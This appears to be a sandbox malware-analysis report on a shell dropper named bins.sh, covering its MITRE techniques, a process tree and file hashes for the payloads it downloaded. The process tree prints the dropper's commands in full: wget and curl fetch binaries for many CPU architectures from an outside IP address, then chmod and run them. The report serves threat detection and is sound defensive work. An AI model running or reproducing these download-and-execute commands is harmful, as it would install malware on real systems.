f6f3b06ff42116c675cdf5a6165a9d52b30fdfd232622eaa3840383bf363f25e

Analysis

max time kernel
138s
max time network
140s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
28/06/2026, 12:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample260628-pc3ryag14p
SHA256 f6f3b06ff42116c675cdf5a6165a9d52b30fdfd232622eaa3840383bf363f25e
MD5 05fda71868fe0643b0a4935897800eeb
SHA1 68208ebc39593e3be91f2ec536f90ed2ac5ef9d9
SHA512 e8ac4bed6e055cf13ffbbce471e67b292b8b466ca29883d087e28ff3e4c99ada28ac3c2e1f9924346b8efce405ece1b9db65d8da8a459001235e42d0fa081807
TLSH
T1C241B28B726434B3C40AEE55F3E495C4E18997E3E2B7CAB8B4A48763105D12CF5A6F70
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 21 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
892	chmod
902	chmod
912	chmod
742	chmod
789	chmod
812	chmod
877	chmod
897	chmod
907	chmod
917	chmod
922	chmod
749	chmod
848	chmod
882	chmod
887	chmod
754	chmod
770	chmod
824	chmod
832	chmod
866	chmod
759	chmod

Executes dropped EXE 21 IoCs

ioc	pid	Process
/tmp/x86	744	bins.sh
/tmp/x86	750	bins.sh
/tmp/i386	755	bins.sh
/tmp/i386	760	bins.sh
/tmp/amd64	772	bins.sh
/tmp/amd64	791	bins.sh
/tmp/arm	813	bins.sh
/tmp/arm	825	bins.sh
/tmp/armv7l	833	bins.sh
/tmp/armv7l	850	bins.sh
/tmp/arm5	867	bins.sh
/tmp/arm5	878	bins.sh
/tmp/arm6	883	bins.sh
/tmp/arm6	888	bins.sh
/tmp/arm64	893	bins.sh
/tmp/arm64	898	bins.sh
/tmp/android_arm64	903	bins.sh
/tmp/android_arm64	908	bins.sh
/tmp/mips	913	bins.sh
/tmp/mips	918	bins.sh
/tmp/mipsle	923	bins.sh

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	mipsle

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 8 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
913	mips
915	rm
916	curl
918	mips
920	rm
921	wget
923	mipsle
911	wget

Writes file to tmp directory 21 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/i386	wget
File opened for modification	/tmp/i386	curl
File opened for modification	/tmp/armv7l	wget
File opened for modification	/tmp/armv7l	curl
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/arm6	curl
File opened for modification	/tmp/android_arm64	curl
File opened for modification	/tmp/amd64	curl
File opened for modification	/tmp/arm	curl
File opened for modification	/tmp/arm64	curl
File opened for modification	/tmp/android_arm64	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/arm64	wget
File opened for modification	/tmp/mipsle	wget
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/mips	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:719
- /usr/bin/wget
  wget http://91.92.42.125/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:721
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/x86
  ./x86
  2⤵
  PID:744
- /bin/rm
  rm -f x86
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://91.92.42.125/x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/x86
  ./x86
  2⤵
  PID:750
- /bin/rm
  rm -f x86
  2⤵
  PID:752
- /usr/bin/wget
  wget http://91.92.42.125/i386 -O i386
  2⤵
  - Writes file to tmp directory
  PID:753
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/i386
  ./i386
  2⤵
  PID:755
- /bin/rm
  rm -f i386
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://91.92.42.125/i386
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/i386
  ./i386
  2⤵
  PID:760
- /bin/rm
  rm -f i386
  2⤵
  PID:762
- /usr/bin/wget
  wget http://91.92.42.125/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/amd64
  ./amd64
  2⤵
  PID:772
- /bin/rm
  rm -f amd64
  2⤵
  PID:775
- /usr/bin/curl
  curl -O http://91.92.42.125/amd64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/amd64
  ./amd64
  2⤵
  PID:791
- /bin/rm
  rm -f amd64
  2⤵
  PID:794
- /usr/bin/wget
  wget http://91.92.42.125/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/arm
  ./arm
  2⤵
  PID:813
- /bin/rm
  rm -f arm
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://91.92.42.125/arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/arm
  ./arm
  2⤵
  PID:825
- /bin/rm
  rm -f arm
  2⤵
  PID:827
- /usr/bin/wget
  wget http://91.92.42.125/armv7l -O armv7l
  2⤵
  - Writes file to tmp directory
  PID:828
- /bin/chmod
  chmod +x armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/armv7l
  ./armv7l
  2⤵
  PID:833
- /bin/rm
  rm -f armv7l
  2⤵
  PID:835
- /usr/bin/curl
  curl -O http://91.92.42.125/armv7l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/chmod
  chmod +x armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/armv7l
  ./armv7l
  2⤵
  PID:850
- /bin/rm
  rm -f armv7l
  2⤵
  PID:852
- /usr/bin/wget
  wget http://91.92.42.125/arm5 -O arm5
  2⤵
  - Writes file to tmp directory
  PID:854
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/arm5
  ./arm5
  2⤵
  PID:867
- /bin/rm
  rm -f arm5
  2⤵
  PID:870
- /usr/bin/curl
  curl -O http://91.92.42.125/arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/arm5
  ./arm5
  2⤵
  PID:878
- /bin/rm
  rm -f arm5
  2⤵
  PID:880
- /usr/bin/wget
  wget http://91.92.42.125/arm6 -O arm6
  2⤵
  - Writes file to tmp directory
  PID:881
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/arm6
  ./arm6
  2⤵
  PID:883
- /bin/rm
  rm -f arm6
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://91.92.42.125/arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/arm6
  ./arm6
  2⤵
  PID:888
- /bin/rm
  rm -f arm6
  2⤵
  PID:890
- /usr/bin/wget
  wget http://91.92.42.125/arm64 -O arm64
  2⤵
  - Writes file to tmp directory
  PID:891
- /bin/chmod
  chmod +x arm64
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/arm64
  ./arm64
  2⤵
  PID:893
- /bin/rm
  rm -f arm64
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://91.92.42.125/arm64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/chmod
  chmod +x arm64
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/arm64
  ./arm64
  2⤵
  PID:898
- /bin/rm
  rm -f arm64
  2⤵
  PID:900
- /usr/bin/wget
  wget http://91.92.42.125/android_arm64 -O android_arm64
  2⤵
  - Writes file to tmp directory
  PID:901
- /bin/chmod
  chmod +x android_arm64
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/android_arm64
  ./android_arm64
  2⤵
  PID:903
- /bin/rm
  rm -f android_arm64
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://91.92.42.125/android_arm64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/chmod
  chmod +x android_arm64
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/android_arm64
  ./android_arm64
  2⤵
  PID:908
- /bin/rm
  rm -f android_arm64
  2⤵
  PID:910
- /usr/bin/wget
  wget http://91.92.42.125/mips -O mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:911
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/mips
  ./mips
  2⤵
  - System Network Configuration Discovery
  PID:913
- /bin/rm
  rm -f mips
  2⤵
  - System Network Configuration Discovery
  PID:915
- /usr/bin/curl
  curl -O http://91.92.42.125/mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:916
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/mips
  ./mips
  2⤵
  - System Network Configuration Discovery
  PID:918
- /bin/rm
  rm -f mips
  2⤵
  - System Network Configuration Discovery
  PID:920
- /usr/bin/wget
  wget http://91.92.42.125/mipsle -O mipsle
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:921
- /bin/chmod
  chmod +x mipsle
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/mipsle
  ./mipsle
  2⤵
  - Enumerates kernel/hardware configuration
  - System Network Configuration Discovery
  PID:923

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 5.8MB
SHA256 ba01bc4f787871ce0f3ab3c2382cf5fe250dbdda7a06bdf38908d22fe79d6b8a
MD5 0bf2c86cbb592b54fe0bc1ee0ec1f686
SHA1 49bd72cb73e6306ea0a332cd1b8683a2b6e86965
SHA512 9c8abcd0a816c2cae33621161898aee967a562fcd6af76a491a4937b3bb2563f790a973c3b5c347d4009a90a3f0fc0f8e8105d3896baa27f30cea95afae98e85
SSDEEP 49152:4nFAt/cznBAdT8Eih8qSEiMDCs4qvlZz5oSe8iRQJfL9NinKlK1KcglCQ5ED:4necjZZOB8vW5w9ED
TLSH
T162565A57EC9514E9C0AE9230CA729153BB717C991F3123D32BA0B6382F77BD0A9B9354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

android_arm64

Path /tmp/android_arm64
Size 6.0MB
SHA256 edc55031874e45f3ddf47ab9c5940911bf59f290a781bcfe79b77d0d830dec8f
MD5 5f175b798ce34049fce38092dd6f546b
SHA1 905dddef579d23827a6f590f7ac03333fc601962
SHA512 d9cab87482ded7bfe4786fe98921ffed56334dcc83e5ea71891eab6cfa26195a5397565574cadf61795ae8a2d151aae99401c6a4745f30fd79003be2a4d3327a
SSDEEP 98304:fjcFbgVmgkNoveUl4bO7M85Nx3qMoKiwGEaw:fjpVmymUl4bOJpiwjaw
TLSH
T16B56286DFC1CE492DDC979719B690297B2297C485B82C3235724BA3DBAF73C4CB12261
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 5.7MB
SHA256 cc5adaad983d6eae97c7e7abc75452e6fbc8caf9a57f413f646164e2d4ca044a
MD5 2698042648d45ee4316fabce5bd0055a
SHA1 9b59ce769954a6ad5b518bd8ebb48bac1ada1d85
SHA512 d75942539b94ed67b587ec3f0a4c44043e8a256efedb4dac1deea50e86ea1b322aedbbe451b5f91ca7137c51dfd63c7e7de69c8f49a0ac60e24aa15808bcbf56
SSDEEP 24576:sqPbgl8lCXK6ToPZIknlnW1PYhYjeStZV6RT0NelsDwcwpfkoyKB+idY3g4UgRx6:s2CIZVXciqNNYEk5imIC2mwq5xG5EJ
TLSH
T158561897B9924943C4E8367BA9BD80C433630EB98B9752675D04FE383EBE1D90E39354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm5

Path /tmp/arm5
Size 5.7MB
SHA256 72ae99c2af2f47b65dc99c828a8227d88b3143f698ba7bf4370f8a90f18ac37d
MD5 5a45255ae82c83cb614f73a0636bbd49
SHA1 95013393e30f6b49327f8c565350f143c0d7e2ea
SHA512 70995d74478cac3465d7474fcdc0c31c529a0161eb6acbb637a743f04dbcadf49370f19fd863dca87b8efc94d49a228d26fc5b38461c0432bbdc4b85c57ff9cc
SSDEEP 24576:IBwMquSmedBXzQiXA9ExGuZ53hT+t5LFrQei80rT3XUXD/OEQdF2Dk42h+gFnZ6p:kCA8RFASDukfTzZ4Rg42D3XVHWG5ErV
TLSH
T1F2561897B9D24943C5E83A3BB9BD80C433630EB99B8752665D04FE383ABE1D90E35354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm6

Path /tmp/arm6
Size 5.7MB
SHA256 527430cb7b27167ef60dfaf0cfa44d1cebab0466b331bc25e4b21072cccf72eb
MD5 cec0e447717ef5c9ae25376994ba213d
SHA1 72ca0f6a0aea4977124ee17e8c4088adfa500ec9
SHA512 318f5cde93f24d354578a977e813e8758c0949579e789483f2e053978cc0070bdb200f03fa823a5f247d2ec3eeca2df90d25fc950e258bfd9d4acbefab15ee88
SSDEEP 49152:S9wlnm+06GACytWjNFYdsd4d6cl16rn5Ee:+snmfACaWDid6e6lEe
TLSH
T110561897BDD24942C5E83A7BA9BD80C433630EB99B8712575D04FE383ABE1D90E39354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm64

Path /tmp/arm64
Size 5.4MB
SHA256 f44b6ad0761b7503866d2ec0881a5b73523cd761d4e9e3db4b9f83b172e11ec7
MD5 d52ea549811e796bbac8be6fde0c5a5c
SHA1 efe6a82aa664369ec43933a36f145520ba1824e2
SHA512 feee69b70f435fe30808122bda146d5ff8046e32f56d4f5ffc863133c84502c07ec42921336e8e96a6a0eadad18209e0fc0f1203498fb689cac75b566ae6a26f
SSDEEP 49152:nYU8s0bPwKoanwThcYZ4MQAgn3hEg6g1gz8iVT0P5/5ECS:nYv/blopTl4MQn3u8CQECS
TLSH
T14E466B59FC2D7462C6C9B6B56F7613D53238BC484F82D3236A18B73CAAF63548F12261
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 6.4MB
SHA256 457ff20c00a295e27fe60a0a3e1a1aed1d297cc1cebe4c5cd876bcc21903fbfc
MD5 af92851714b585193c3def0679989926
SHA1 9277ebdfb560f752dc5ad6cc1b3ba7c584a34f24
SHA512 233e7065d1a755b2ff1b381c115a95b1a40b25c3bc28ed6b6e4a388976082efd08ddcf0f7bb1d8f9f48709e29dd2914edbcd9cf8c63e1e9beb4040e1e3297cb9
SSDEEP 49152:+9TdgZB4WJW1rw0LIOhUm35BrWXKT5qWBZsiRsX0PCR2gC9kazvTHH4t5ED:mdW/Cn4jED
TLSH
T17A6619136B28E70EE51872308AB1CA946B291C9545D79917A391F31CF9F30BD4EAEDF0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mipsle

Path /tmp/mipsle
Size 6.4MB
SHA256 94c4072f7e4c6020f5f9c2eb4dcf1ac1808776804ee4daeaf798c01e69fcbce3
MD5 eb6cabee04757d48d32a01fa537788bc
SHA1 b9386ab479456fbe4e0bca056d2f5fcc005d29b2
SHA512 9b920f07687551e17b8b9c0b90eefb7c249ada2dd25a585d353cd0c845007f388a3580e16346c60970c61f758071f46416a20ec50ef253ef2b5a5a7821d4e499
SSDEEP 49152:E+4gLTxh3dE1Lxnf5LdsrJnES2vIJgztTq+5Eg:Ze1LFhE2Eg
TLSH
T13C66FA05ADC43FEAC41D4B3484EACA9512B05D544AF19A3A16A4FFADBC772387F4788C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 5.6MB
SHA256 caa9408fdf9272b4a2c02061218f78c96124608dd23694cfc19ab0747ec1a43c
MD5 876fd318fdc34f99f4287b3d86790d9f
SHA1 22b3f5db2854896dc5e1a41d24d8dff03ce54e79
SHA512 4de5c64e17d4aafb4d3206ffc4d4f6caeea61390b4e2c4778076cd71016eee67a5260a590969aa150f0ebb618e9394338b49af45c2030f537930381f0fac8446
SSDEEP 49152:42pVfZ03PyySNwWl3neuLayncJgzFtNd4yUkG730Qh5sL/Aah0WZHa5Ek:Xle3qySNpay5Hd4yG7wIdWdwEk
TLSH
T1D5563811FACB04F6E6031E3104BBA27F67315D064B25DBD7EB407E29FA7BA911936209
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads